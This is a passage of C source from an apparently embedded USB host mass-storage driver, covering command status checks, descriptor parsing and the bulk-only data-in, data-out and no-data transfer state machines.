}\n\n /* CSW Check */\n if( usb_ghmsc_Csw[ptr->ip][msgnum].dCSWSignature != USB_MSC_CSW_SIGNATURE )\n {\n USB_PRINTF2(\"### CSW signature error 0x%08x:SIGN=0x%08x.\\n\",\n usb_ghmsc_Csw[ptr->ip][msgnum].dCSWSignature, USB_MSC_CSW_SIGNATURE);\n return USB_HMSC_CSW_ERR;\n }\n if( usb_ghmsc_Csw[ptr->ip][msgnum].dCSWTag != usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWTag )\n {\n USB_PRINTF2(\"### CSW Tag error 0x%08x:CBWTAG=0x%08x.\\n\",\n usb_ghmsc_Csw[ptr->ip][msgnum].dCSWTag, usb_ghmsc_Cbw[ptr->ip][msgnum].dCBWTag);\n return USB_HMSC_CSW_ERR;\n }\n switch( usb_ghmsc_Csw[ptr->ip][msgnum].bCSWStatus )\n {\n case USB_MSC_CSW_OK:\n return USB_HMSC_OK;\n break;\n case USB_MSC_CSW_NG:\n return USB_HMSC_CSW_ERR;\n break;\n case USB_MSC_CSW_PHASE_ERR:\n usb_shmsc_Process[ptr->ip] = USB_MSG_HMSC_CSW_PHASE_ERR;\n usb_shmsc_StallErrSeq[ptr->ip] = USB_SEQ_0;\n mess->keyword = drvnum;\n mess->msginfo = usb_shmsc_Process[ptr->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess );\n return USB_HMSC_CSW_PHASE_ERR;\n break;\n default:\n break;\n }\n USB_PRINTF1(\"### CSW status error 0x%2x.\\n\", usb_ghmsc_Csw[ptr->ip][msgnum].bCSWStatus);\n return USB_HMSC_CSW_ERR;\n} /* eof usb_hmsc_CheckCsw() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpBotDescriptor\nDescription : BOT Descriptor\nArguments : uint8_t *table : \n : uint16_t msgnum : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_SmpBotDescriptor(USB_UTR_t *ptr, uint8_t *table, uint16_t msgnum)\n{\n /* Check Descriptor */\n switch( table[1] )\n {\n /* Device Descriptor */\n case USB_DT_DEVICE:\n USB_PRINTF0(\"### Not Interface descriptor (Device Desc).\\n\");\n return USB_ERROR;\n break;\n /* Configuration Descriptor */\n case USB_DT_CONFIGURATION:\n USB_PRINTF0(\"### Not Interface descriptor (Config Desc).\\n\");\n return USB_ERROR;\n break;\n /* String Descriptor */\n case USB_DT_STRING:\n USB_PRINTF0(\"### Not Interface descriptor (String Desc).\\n\");\n return USB_ERROR;\n break;\n /* Interface Descriptor ? */\n case USB_DT_INTERFACE:\n /* Check Interface Descriptor (deviceclass) */\n if( table[5] != USB_IFCLS_MAS )\n {\n USB_PRINTF1(\"### Interface deviceclass is %x , not support.\\n\", table[5]);\n return USB_ERROR;\n }\n /* Check Interface Descriptor (subclass) */\n if( table[6] == USB_ATAPI )\n {\n USB_PRINTF0(\" Interface subclass : SFF-8070i\\n\");\n /* ATAPI Command */\n usb_ghmsc_AtapiFlag[ptr->ip][msgnum] = USB_ATAPI;\n }\n else if (table[6] == USB_SCSI)\n {\n USB_PRINTF0(\n \"Interface subclass : SCSI transparent command set\\n\");\n /* SCSI Command */\n usb_ghmsc_AtapiFlag[ptr->ip][msgnum] = USB_SCSI;\n }\n else if (table[6] == USB_ATAPI_MMC5)\n {\n USB_PRINTF0(\" Interface subclass : ATAPI command set\\n\");\n /* ATAPI Command */\n usb_ghmsc_AtapiFlag[ptr->ip][msgnum] = USB_ATAPI_MMC5;\n }\n else\n {\n USB_PRINTF1(\"### Interface subclass is %x , not support.\\n\", table[6]);\n /* Unknown Command */\n usb_ghmsc_AtapiFlag[ptr->ip][msgnum] = USB_NONE;\n return USB_ERROR;\n }\n /* Check Interface Descriptor (protocol) */\n if( table[7] == USB_BOTP )\n {\n USB_PRINTF0(\" Interface protocol : BOT \\n\");\n }\n else\n {\n USB_PRINTF1(\"### Interface protocol is %x , not support.\\n\", table[7]);\n return USB_ERROR;\n }\n /* Check Endpoint number */\n if( table[4] < USB_TOTALEP )\n {\n USB_PRINTF1(\"### Endpoint number is %x , less than 2.\\n\", table[4]);\n return USB_ERROR;\n }\n return USB_DONE;\n break;\n /* Endpoint Descriptor */\n case USB_DT_ENDPOINT:\n USB_PRINTF0(\"### Not Interface descrip (Endpoint Desc).\\n\");\n return USB_ERROR;\n break;\n /* Device Qualifier Descriptor */\n case USB_DT_DEVICE_QUALIFIER:\n USB_PRINTF0(\"### Not Interface descrip (Dev Qualifier Desc).\\n\");\n return USB_ERROR;\n break;\n /* Other Speed Configuration Descriptor */\n case USB_DT_OTHER_SPEED_CONF:\n USB_PRINTF0(\"### Not Interface descrip (Other Speed Config Desc).\\n\");\n return USB_ERROR;\n break;\n /* Interface Power Descriptor */\n case USB_DT_INTERFACE_POWER:\n USB_PRINTF0(\"### Not Interface descrip (Interface Power Desc).\\n\");\n return USB_ERROR;\n break;\n /* Not Descriptor */\n default:\n USB_PRINTF0(\"### Not Interface descrip ( Not Standard Desc ).\\n\");\n break;\n }\n return USB_ERROR;\n} /* eof usb_hmsc_SmpBotDescriptor() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SmpPipeInfo\nDescription : Pipe Information\nArguments : uint8_t *table : \n : uint16_t msgnum : \n : uint16_t speed : \n : uint16_t length : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_SmpPipeInfo(USB_UTR_t *ptr, uint8_t *table, uint16_t msgnum, uint16_t speed, uint16_t length)\n{\n uint16_t dirflag = 0;\n uint16_t ofdsc, offset;\n uint16_t retval;\n\n /* Check Descriptor */\n if( table[1] != USB_DT_INTERFACE )\n {\n /* Configuration Descriptor */\n USB_PRINTF0(\"### Not Interface descriptor.\\n\");\n return USB_ERROR;\n }\n\n offset = (uint16_t)(2u * USB_EPL * msgnum);\n\n /* Check Endpoint Descriptor */\n ofdsc = table[0];\n /* Pipe initial */\n usb_ghmsc_OutPipe[ptr->ip][msgnum][0] = USB_NOPORT;\n usb_ghmsc_InPipe[ptr->ip][msgnum][0] = USB_NOPORT;\n /* Toggle clear */\n usb_ghmsc_OutPipe[ptr->ip][msgnum][1] = 0;\n usb_ghmsc_InPipe[ptr->ip][msgnum][1] = 0;\n while( ofdsc < (length - table[0]) )\n {\n /* Search within Interface */\n switch( table[ofdsc + 1] )\n {\n /* Device Descriptor ? */\n case USB_DT_DEVICE:\n /* Configuration Descriptor ? */\n case USB_DT_CONFIGURATION:\n /* String Descriptor ? */\n case USB_DT_STRING:\n /* Interface Descriptor ? */\n case USB_DT_INTERFACE:\n USB_PRINTF0(\"### Endpoint Descriptor error.\\n\");\n return USB_ERROR;\n break;\n /* Endpoint Descriptor */\n case USB_DT_ENDPOINT:\n /* Bulk Endpoint */\n if( (table[ofdsc + 3] & USB_EP_TRNSMASK) == USB_EP_BULK )\n {\n switch( dirflag )\n {\n case 0:\n retval = R_usb_hstd_ChkPipeInfo(speed, &usb_ghmsc_PipeTable[ptr->ip][offset], &table[ofdsc]);\n if( retval == USB_DIR_H_OUT )\n {\n usb_ghmsc_OutPipe[ptr->ip][msgnum][0] = offset;\n }\n if( retval == USB_DIR_H_IN )\n {\n usb_ghmsc_InPipe[ptr->ip][msgnum][0] = offset;\n }\n dirflag++;\n break;\n case 1:\n retval = R_usb_hstd_ChkPipeInfo(speed, &usb_ghmsc_PipeTable[ptr->ip][offset + USB_EPL],\n &table[ofdsc]);\n if( retval == USB_DIR_H_OUT )\n {\n usb_ghmsc_OutPipe[ptr->ip][msgnum][0] = (uint16_t)(offset + USB_EPL);\n }\n if( retval == USB_DIR_H_IN )\n {\n usb_ghmsc_InPipe[ptr->ip][msgnum][0] = (uint16_t)(offset + USB_EPL);\n }\n if( (usb_ghmsc_InPipe[ptr->ip][msgnum][0] != USB_NOPORT) &&\n (usb_ghmsc_OutPipe[ptr->ip][msgnum][0] != USB_NOPORT) )\n {\n return USB_DONE;\n }\n USB_PRINTF0(\"### Endpoint Descriptor error.\\n\");\n break;\n default:\n break;\n }\n }\n ofdsc += table[ofdsc];\n break;\n /* Device Qualifier Descriptor */\n case USB_DT_DEVICE_QUALIFIER:\n /* Other Speed Configuration Descriptor */\n case USB_DT_OTHER_SPEED_CONF:\n /* Interface Power Descriptor */\n case USB_DT_INTERFACE_POWER:\n USB_PRINTF0(\"### Endpoint Descriptor error.\\n\");\n return USB_ERROR;\n break;\n /* Antoher Descriptor */\n default:\n ofdsc += table[ofdsc];\n break;\n }\n }\n return USB_ERROR;\n} /* eof usb_hmsc_SmpPipeInfo() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_NoData\nDescription : HMSC No data\nArguments : uint16_t drvnum : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_NoData(USB_UTR_t *ptr, uint16_t drvnum)\n{\n USB_CLSINFO_t mess;\n#ifdef FREE_RTOS_PP\n taskENTER_CRITICAL();\n#endif\n\n mess.ip = ptr->ip;\n mess.ipp = ptr->ipp;\n\n mess.keyword = drvnum;\n usb_shmsc_Process[ptr->ip] = USB_MSG_HMSC_NO_DATA;\n usb_shmsc_NoDataSeq[ptr->ip] = USB_SEQ_0;\n mess.msginfo = usb_shmsc_Process[ptr->ip];\n#ifdef FREE_RTOS_PP\n taskEXIT_CRITICAL();\n#endif\n usb_hmsc_SpecifiedPath(&mess);\n return USB_DONE;\n} /* eof usb_hmsc_NoData() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_NoDataAct\nDescription : No Data Request\nArguments : USB_CLSINFO_t *mess : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_NoDataAct(USB_CLSINFO_t *mess)\n{\n uint16_t hmsc_retval, result;\n uint16_t drvnum;\n \n drvnum = usb_ghmsc_RootDrive[mess->ip];\n result = mess -> result;\n \n switch( usb_shmsc_NoDataSeq[mess->ip] )\n {\n case USB_SEQ_0:\n /* CBW */\n drvnum = mess -> keyword;\n usb_ghmsc_RootDrive[mess->ip] = drvnum;\n hmsc_retval = usb_hmsc_SendCbw(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_NO_DATA;\n usb_shmsc_NoDataSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n case USB_SEQ_1:\n hmsc_retval = usb_hmsc_SendCbwReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_NO_DATA;\n usb_shmsc_NoDataSeq[mess->ip]++;\n break;\n case USB_SEQ_2:\n hmsc_retval = usb_hmsc_SendCbwCheck(mess, drvnum, result);\n if( hmsc_retval == USB_DATA_STALL )\n {\n usb_shmsc_NoDataSeq[mess->ip] = USB_SEQ_0;\n }\n else if( hmsc_retval != USB_HMSC_OK )\n {\n USB_PRINTF1(\"### NoData : SendCbw error(drive:%d) \\n\", drvnum);\n usb_shmsc_NoDataSeq[mess->ip] = USB_SEQ_0;\n usb_hmsc_CommandResult(mess,hmsc_retval);\n }\n else\n {\n /* CSW */\n hmsc_retval = usb_hmsc_GetCsw(mess, drvnum);\n \n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_NO_DATA;\n usb_shmsc_NoDataSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n }\n break;\n case USB_SEQ_3:\n hmsc_retval = usb_hmsc_GetCswReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_NO_DATA;\n usb_shmsc_NoDataSeq[mess->ip]++;\n break;\n case USB_SEQ_4:\n hmsc_retval = usb_hmsc_GetCswCheck(mess, drvnum, result);\n\n switch( hmsc_retval )\n {\n case USB_HMSC_OK:\n if(usb_ghmsc_CswErrRoop[mess->ip] == USB_ON)\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n case USB_HMSC_CSW_ERR:\n USB_PRINTF1(\"*** NoData : CSW-NG(drive:%d) \\n\", drvnum);\n usb_ghmsc_CswErrRoop[mess->ip] = USB_ON;\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n R_usb_hmsc_RequestSense(mess, drvnum, (uint8_t *)usb_ghmsc_Data[mess->ip]);\n break;\n case USB_MSG_HMSC_DATA_STALL:\n USB_PRINTF1(\"*** NoData : CSW-STALL(drive:%d) \\n\", drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n mess->keyword = drvnum;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n default:\n if(usb_ghmsc_CswErrRoop[mess->ip] == USB_ON)\n {\n usb_ghmsc_CswErrRoop[mess->ip] =USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n USB_PRINTF1(\"### NoData : GetCSW error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n }\n usb_shmsc_NoDataSeq[mess->ip] = USB_SEQ_0;\n break;\n default:\n usb_hmsc_CommandResult(mess, hmsc_retval);\n usb_shmsc_NoDataSeq[mess->ip] = USB_SEQ_0;\n break;\n }\n return (hmsc_retval);\n} /* eof usb_hmsc_NoDataAct() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_DataIn\nDescription : HMSC Data In\nArguments : uint16_t drvnum : \n : uint8_t *buff : \n : uint32_t size : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_DataIn(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n USB_CLSINFO_t mess;\n#ifdef FREE_RTOS_PP\n taskENTER_CRITICAL();\n#endif\n mess.ip = ptr->ip;\n mess.ipp = ptr->ipp;\n\n mess.keyword = drvnum;\n\n usb_ghmsc_Buff[ptr->ip] = buff;\n usb_ghmsc_TransSize[ptr->ip] = size;\n\n usb_shmsc_Process[ptr->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[ptr->ip] = USB_SEQ_0;\n mess.msginfo = usb_shmsc_Process[ptr->ip];\n#ifdef FREE_RTOS_PP\n taskEXIT_CRITICAL();\n#endif\n usb_hmsc_SpecifiedPath(&mess);\n return USB_DONE;\n} /* eof usb_hmsc_DataIn() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_DataInAct\nDescription : Receive Data request\nArguments : USB_CLSINFO_t *mess : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_DataInAct(USB_CLSINFO_t *mess)\n{\n uint16_t hmsc_retval, result;\n uint16_t drvnum;\n uint32_t size;\n uint8_t *buff;\n\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n buff = usb_ghmsc_Buff[mess->ip];\n size = usb_ghmsc_TransSize[mess->ip];\n result = mess -> result;\n\n switch( usb_shmsc_DataInSeq[mess->ip] )\n {\n case USB_SEQ_0:\n /* CBW */\n drvnum = mess -> keyword;\n usb_ghmsc_RootDrive[mess->ip] = drvnum;\n hmsc_retval = usb_hmsc_SendCbw(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n case USB_SEQ_1:\n hmsc_retval = usb_hmsc_SendCbwReq(mess, drvnum);\n usb_shmsc_DataInSeq[mess->ip]++;\n break;\n case USB_SEQ_2:\n hmsc_retval = usb_hmsc_SendCbwCheck(mess, drvnum, result);\n if( hmsc_retval == USB_DATA_STALL )\n {\n usb_shmsc_DataInSeq[mess->ip] = USB_SEQ_0;\n }\n else if( hmsc_retval != USB_HMSC_OK )\n {\n USB_PRINTF1(\"### DataIN : SendCBW error(drive:%d) \\n\", drvnum);\n usb_shmsc_DataInSeq[mess->ip] = USB_SEQ_0;\n usb_hmsc_CommandResult(mess, hmsc_retval);\n }\n else\n {\n/* Data */\n hmsc_retval = usb_hmsc_GetData(mess, drvnum, buff, size);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n }\n break;\n case USB_SEQ_3:\n hmsc_retval = usb_hmsc_GetDataReq(mess, drvnum, buff, size);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n break;\n case USB_SEQ_4:\n hmsc_retval = usb_hmsc_GetDataCheck(mess, drvnum, result);\n if( hmsc_retval == USB_HMSC_STALL )\n {\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n }\n else if( hmsc_retval != USB_HMSC_OK )\n {\n USB_PRINTF1(\"### DataIN : GetData error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n usb_shmsc_DataInSeq[mess->ip] = USB_SEQ_0;\n }\n else\n {\n /* CSW */\n hmsc_retval = usb_hmsc_GetCsw(mess, drvnum);\n\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n }\n break;\n case USB_SEQ_5:\n hmsc_retval = usb_hmsc_GetCswReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_IN;\n usb_shmsc_DataInSeq[mess->ip]++;\n break;\n case USB_SEQ_6:\n hmsc_retval = usb_hmsc_GetCswCheck(mess, drvnum, result);\n switch( hmsc_retval )\n {\n case USB_HMSC_OK:\n if(usb_ghmsc_CswErrRoop[mess->ip] == USB_ON)\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n case USB_HMSC_CSW_ERR:\n USB_PRINTF1(\"*** DataIN : CSW-NG(drive:%d) \\n\", drvnum);\n usb_ghmsc_CswErrRoop[mess->ip] = USB_ON;\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n R_usb_hmsc_RequestSense(mess, drvnum, (uint8_t*)&usb_ghmsc_Data[mess->ip]);\n break;\n case USB_MSG_HMSC_DATA_STALL:\n USB_PRINTF1(\"*** DataIN : CSW-STALL(drive:%d) \\n\", drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n mess->keyword = drvnum;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n default:\n if(usb_ghmsc_CswErrRoop[mess->ip] == USB_ON)\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n USB_PRINTF1(\"### DataIN : GetCSW error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n }\n \n usb_shmsc_DataInSeq[mess->ip] = USB_SEQ_0;\n break;\n default:\n usb_hmsc_CommandResult(mess, hmsc_retval);\n usb_shmsc_DataInSeq[mess->ip] = USB_SEQ_0;\n break;\n }\n /* Data read error */\n return (hmsc_retval);\n} /* eof usb_hmsc_DataInAct() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_DataOut\nDescription : HMSC Data Out\nArguments : uint16_t drvnum : \n : uint8_t *buff : \n : uint32_t size : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_DataOut(USB_UTR_t *ptr, uint16_t drvnum, uint8_t *buff, uint32_t size)\n{\n USB_CLSINFO_t mess;\n#ifdef FREE_RTOS_PP\n taskENTER_CRITICAL();\n#endif\n mess.ip = ptr->ip;\n mess.ipp = ptr->ipp;\n\n mess.keyword = drvnum;\n usb_ghmsc_Buff[ptr->ip] = buff;\n usb_ghmsc_TransSize[ptr->ip] = size;\n usb_shmsc_Process[ptr->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[ptr->ip] = USB_SEQ_0;\n mess.msginfo = usb_shmsc_Process[ptr->ip];\n#ifdef FREE_RTOS_PP\n taskEXIT_CRITICAL();\n#endif\n usb_hmsc_SpecifiedPath(&mess);\n return USB_DONE;\n} /* eof usb_hmsc_DataOut() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_DataOutAct\nDescription : Send Data request\nArguments : USB_CLSINFO_t *mess : \nReturn value : uint16_t : \n******************************************************************************/\nuint16_t usb_hmsc_DataOutAct(USB_CLSINFO_t *mess)\n{\n uint16_t hmsc_retval, result;\n uint16_t drvnum;\n uint8_t *buff;\n uint32_t size;\n\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n buff = usb_ghmsc_Buff[mess->ip];\n size = usb_ghmsc_TransSize[mess->ip];\n result = mess -> result;\n \n switch( usb_shmsc_DataOutSeq[mess->ip] )\n {\n case USB_SEQ_0:\n /* CBW */\n drvnum = mess -> keyword;\n usb_ghmsc_RootDrive[mess->ip] = drvnum;\n hmsc_retval = usb_hmsc_SendCbw(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n case USB_SEQ_1:\n hmsc_retval = usb_hmsc_SendCbwReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n break;\n case USB_SEQ_2:\n hmsc_retval = usb_hmsc_SendCbwCheck(mess, drvnum, result);\n if( hmsc_retval == USB_DATA_STALL )\n {\n usb_shmsc_DataOutSeq[mess->ip] = USB_SEQ_0;\n }\n else if( hmsc_retval != USB_HMSC_OK )\n {\n USB_PRINTF1(\"### DataOUT : SendCBW error(drive:%d) \\n\", drvnum);\n usb_shmsc_DataOutSeq[mess->ip] = USB_SEQ_0;\n usb_hmsc_CommandResult(mess, hmsc_retval);\n }\n else\n {\n /* Data */\n usb_hmsc_SendData(mess, drvnum, buff, size);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n }\n break;\n case USB_SEQ_3:\n usb_hmsc_SendDataReq(mess, drvnum, buff, size);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n break;\n case USB_SEQ_4:\n hmsc_retval = usb_hmsc_SendDataCheck(mess, drvnum, result);\n if( hmsc_retval == USB_HMSC_STALL )\n {\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n }\n else if( hmsc_retval != USB_HMSC_OK )\n {\n USB_PRINTF1(\"### DataOUT : SendData error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n usb_shmsc_DataOutSeq[mess->ip] = USB_SEQ_0;\n }\n else\n {\n /* CSW */\n hmsc_retval = usb_hmsc_GetCsw(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n }\n break;\n case USB_SEQ_5:\n hmsc_retval = usb_hmsc_GetCswReq(mess, drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_OUT;\n usb_shmsc_DataOutSeq[mess->ip]++;\n break;\n case USB_SEQ_6:\n hmsc_retval = usb_hmsc_GetCswCheck(mess, drvnum,result);\n switch( hmsc_retval )\n {\n case USB_HMSC_OK:\n if( usb_ghmsc_CswErrRoop[mess->ip] == USB_ON )\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n case USB_HMSC_CSW_ERR:\n USB_PRINTF1(\"*** DataOUT : CSW-NG(drive:%d) \\n\", drvnum);\n usb_ghmsc_CswErrRoop[mess->ip] = USB_ON;\n drvnum = usb_ghmsc_RootDrive[mess->ip];\n R_usb_hmsc_RequestSense(mess, drvnum, (uint8_t*)usb_ghmsc_Data[mess->ip]);\n break;\n case USB_MSG_HMSC_DATA_STALL:\n USB_PRINTF1(\"*** DataOUT : CSW-STALL(drive:%d) \\n\", drvnum);\n usb_shmsc_Process[mess->ip] = USB_MSG_HMSC_DATA_STALL;\n mess->keyword = drvnum;\n mess->msginfo = usb_shmsc_Process[mess->ip];\n usb_hmsc_SpecifiedPath((USB_CLSINFO_t *)mess);\n break;\n default:\n if( usb_ghmsc_CswErrRoop[mess->ip] == USB_ON )\n {\n usb_ghmsc_CswErrRoop[mess->ip] = USB_OFF;\n hmsc_retval = USB_HMSC_CSW_ERR;\n }\n USB_PRINTF1(\"### DataOUT : GetCSW error(drive:%d) \\n\", drvnum);\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n }\n\n usb_shmsc_DataOutSeq[mess->ip] = USB_SEQ_0;\n break;\n default:\n usb_shmsc_DataOutSeq[mess->ip] = USB_SEQ_0;\n usb_hmsc_CommandResult(mess, hmsc_retval);\n break;\n }\n /* Data read error */\n return (hmsc_retval);\n} /* eof usb_hmsc_DataOutAct() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_SpecifiedPath\nDescription : Next Process Selector\nArguments : USB_CLSINFO_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_SpecifiedPath(USB_CLSINFO_t *mess)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *ptr;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSC_MPL, &p_blf) == USB_E_OK )\n {\n ptr = (USB_CLSINFO_t*)p_blf;\n ptr->msginfo = mess->msginfo;\n ptr->keyword = mess->keyword;\n ptr->result = mess->result;\n\n ptr->ip = mess->ip;\n ptr->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG(USB_HMSC_MBX, (USB_MSG_t*)p_blf);\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HMSC_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### SpecifiedPass function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### SpecifiedPass function pget_blk error\\n\");\n }\n} /* eof usb_hmsc_SpecifiedPath() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_CheckResult\nDescription : Hub class check result\nArguments : USB_UTR_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_CheckResult(USB_UTR_t *mess, uint16_t data1, uint16_t data2)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *ptr;\n\n ptr = mess;\n if( mess->status == USB_DATA_STALL )\n {\n ptr->msginfo = usb_shmsc_Process[mess->ip];\n }\n \n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSC_MPL, &p_blf) == USB_E_OK )\n {\n ptr = (USB_CLSINFO_t*)p_blf;\n ptr->msginfo = usb_shmsc_Process[mess->ip];\n ptr->keyword = mess->keyword;\n ptr->result = mess->status;\n\n ptr->ip = mess->ip;\n ptr->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HMSC_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HMSC_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### CheckResult function snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### CheckResult function pget_blk error\\n\");\n }\n} /* eof usb_hmsc_CheckResult() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_class_check_result\nDescription : Hub class check result\nArguments : USB_UTR_t *mess : \nReturn value : none\n******************************************************************************/\nvoid usb_hmsc_class_check_result(USB_UTR_t *mess, uint16_t data1, uint16_t data2)\n{\n USB_MH_t p_blf;\n USB_ER_t err;\n USB_CLSINFO_t *ptr;\n\n ptr = mess;\n\n /* Get mem pool blk */\n if( R_USB_PGET_BLK(USB_HMSC_MPL, &p_blf) == USB_E_OK )\n {\n ptr = (USB_CLSINFO_t*)p_blf;\n ptr->msginfo = USB_MSG_CLS_INIT;\n ptr->keyword = mess->keyword;\n ptr->result = mess->status;\n\n ptr->ip = mess->ip;\n ptr->ipp = mess->ipp;\n\n /* Send message */\n err = R_USB_SND_MSG( USB_HMSC_MBX, (USB_MSG_t*)p_blf );\n if( err != USB_E_OK )\n {\n err = R_USB_REL_BLK(USB_HMSC_MPL,(USB_MH_t)p_blf);\n USB_PRINTF0(\"### usb_hmsc_class_check_resultn snd_msg error\\n\");\n }\n }\n else\n {\n USB_PRINTF0(\"### usb_hmsc_class_check_result pget_blk error\\n\");\n }\n} /* eof usb_hmsc_class_check_result() */\n\n/******************************************************************************\nFunction Name : usb_hmsc_StallErr\nDescription : HMSC Stall Error\nArguments : USB_UTR_t *ptr : \nReturn value : none\n******************************************************************************/\nvoid 